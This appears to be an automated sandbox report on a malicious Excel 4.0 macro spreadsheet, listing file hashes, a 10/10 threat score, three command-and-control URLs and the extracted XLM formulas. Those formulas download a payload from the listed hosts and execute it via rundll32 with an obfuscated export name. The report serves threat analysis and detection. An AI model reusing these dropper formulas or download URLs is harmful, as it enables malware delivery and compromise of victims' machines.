Overview

overview

10

Static

static

10

?i=1khpfyxgm.xlsm

windows7_x64

10

?i=1khpfyxgm.xlsm

windows10-2004_x64

10

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General

  • Target

    ?i=1khpfyxgm

  • Size

    83KB

  • Sample

    220503-n3traadef6

  • MD5

    8d09ec7797984a737034a20bb36f7d29

  • SHA1

    6629a4afb00ae6314148a4bd26e4bd6bef13cfdf

  • SHA256

    7502d81e1850ddeca8f2a9b2b5b986b1402710ac10ba7247fa34dbde1e9f1399

  • SHA512

    4d944f5bfedae36ecd8f42a6613529647d638fbddd1af6a5d3a3ae6b7a4289b5d051e1d6cd25d58a14e5efd88b071438e578bafc166e07851e0e044567bcb684

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

https://wordpress.baishuweb.com/wp-includes/10q0ice6/

http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wordpress.baishuweb.com/wp-includes/10q0ice6/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

Targets

    • Target

      ?i=1khpfyxgm

    • Size

      83KB

    • MD5

      8d09ec7797984a737034a20bb36f7d29

    • SHA1

      6629a4afb00ae6314148a4bd26e4bd6bef13cfdf

    • SHA256

      7502d81e1850ddeca8f2a9b2b5b986b1402710ac10ba7247fa34dbde1e9f1399

    • SHA512

      4d944f5bfedae36ecd8f42a6613529647d638fbddd1af6a5d3a3ae6b7a4289b5d051e1d6cd25d58a14e5efd88b071438e578bafc166e07851e0e044567bcb684

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks